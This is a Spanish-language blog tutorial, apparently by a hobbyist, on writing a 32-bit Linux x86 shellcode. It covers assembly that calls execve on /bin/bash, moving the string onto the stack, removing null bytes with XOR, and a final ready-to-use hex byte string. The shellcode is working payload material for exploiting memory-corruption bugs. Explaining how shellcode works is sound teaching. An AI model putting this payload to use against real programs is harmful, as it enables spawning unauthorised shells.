Hoy me ha entrado del vicio de escribir un shellcode, aquí queda el proceso para quien se pregunte como se escriben estos extraños seres de la fauna binaria.

Actualización: me había olvidado del BITS 32 en el shellcode para que funcione bien

Un shellcode, llamados así porque generalmente lo que hacían era presentar una shell (aunque se puede hacer cualquier cosa con ellos), son trozos de código ensamblador, normalmente pasados a formato hexadecimal para un "consumo" más cómodo, cuya característica más importante es que se pueden cargar en cualquier posición de memoria.

Empezamos escribiendo un código que llame a execl con /bin/bash como parámetro[ http://pastebin.com/8FTgE4yz ]:

===============================================================================

section .data ; Datos comando: db '/bin/bash', 0 nullstring: dd 0

section .text ; Código global _start

_start: ; Inicio mov eax, 11 ; execve mov ebx, comando ; path del ejecutable mov ecx, nullstring ; un 0, no se usarán parámetros

int 0x80     ; Joeeeeeeeee!!! una de kerneeeeeeeel !!!

_end:   ; Esto solo lo finaliza mov eax, 1 ; sys_exit mov ebx, 0

int 0x80

===============================================================================

Lo siguiente es eliminar las direcciones absolutas lo que incluye todo el section .data, así que usaremos el stack para eso, recordar que crece hacia abajo, hay que meter las cosas "al revés"

===============================================================================

section .text ; Código global _start

_start: ; Inicio push dword 0

mov ecx, esp ; Se guarda esta posición del stack ; servirá para los argumentes

; //bin/bash , para cuadrarlo en words push dword 0x68736162 ; hsab (bash) push dword 0x2f6e6962 ; /nib (bin/) push word  0x2f2f     ; //

mov eax, 11 ; execve mov ebx, esp ; path del ejecutable int 0x80     ; Se llama al kernel

_end:   ; Esto solo lo finaliza mov eax, 1 ; sys_exit mov ebx, 0 int 0x80

===============================================================================

Queda eliminar los 0's del código, ya que desensamblado es así

===============================================================================

00000000  680000            push word 0x0 00000003  0000              add  [bx+si],al 00000005  89E1              mov cx,sp 00000007  686261            push word 0x6162 0000000A  7368              jnc 0x74 0000000C  686269            push word 0x6962 0000000F  6E                outsb 00000010  2F                das 00000011  66682F2FB80B      push dword 0xbb82f2f 00000017  0000              add  [bx+si],al 00000019  0089E3CD          add [bx+di- 0x321d],cl 0000001D  80B8010000        cmp byte  [bx+si+0x1],0x0 00000022  00BB0000          add  [bp+di+0x0],bh 00000026  0000              add  [bx+si],al 00000028  CD80              int 0x80

===============================================================================

Y un shellcode con bytes nulos no es todo lo útil que podría, aquí los XOR allanan el camino

===============================================================================

BITS 32

section .text ; Código global _start

_start: ; Inicio xor eax, eax

push eax

mov ecx, esp ; Se guarda esta posición del stack ; servirá para los argumentes

; ////bin/bash , para cuadrarlo en words push dword 0x68736162 ; hsab (bash) push dword 0x2f6e6962 ; /nib (bin/)

push word  0x2f2f     ; //

mov al, 11 ; execve

mov ebx, esp ; path del ejecutable

int 0x80

_end:   ; Esto solo lo finaliza xor eax, eax ; sys_exit xor ebx, ebx

inc eax int 0x80

===============================================================================

Desensamblado:

===============================================================================

00000000  31C0              xor ax,ax 00000002  50                push ax 00000003  89E1              mov cx,sp 00000005  686261            push word 0x6162 00000008  7368              jnc 0x72 0000000A  686269            push word 0x6962 0000000D  6E                outsb 0000000E  2F                das 0000000F  66682F2FB00B      push dword 0xbb02f2f 00000015  89E3              mov bx,sp 00000017  CD80              int 0x80 00000019  31C0              xor ax,ax 0000001B  31DB              xor bx,bx 0000001D  40                inc ax 0000001E  CD80              int 0x80

===============================================================================

Sin ningún NULO, listo para servir

===============================================================================

\x31\xc0\x50\x89\xe1\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x66\x68\x2f\x2f\xb0\x0b\x89\xe3\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80

===============================================================================

ps: para quién llegó hasta aquí hay premio xD, un script para pasar el dumpeo binario de un shellcode al formato de string que se suele utilizar [ http://pastebin.com/mubdwfXS ]

Que aproveche :D!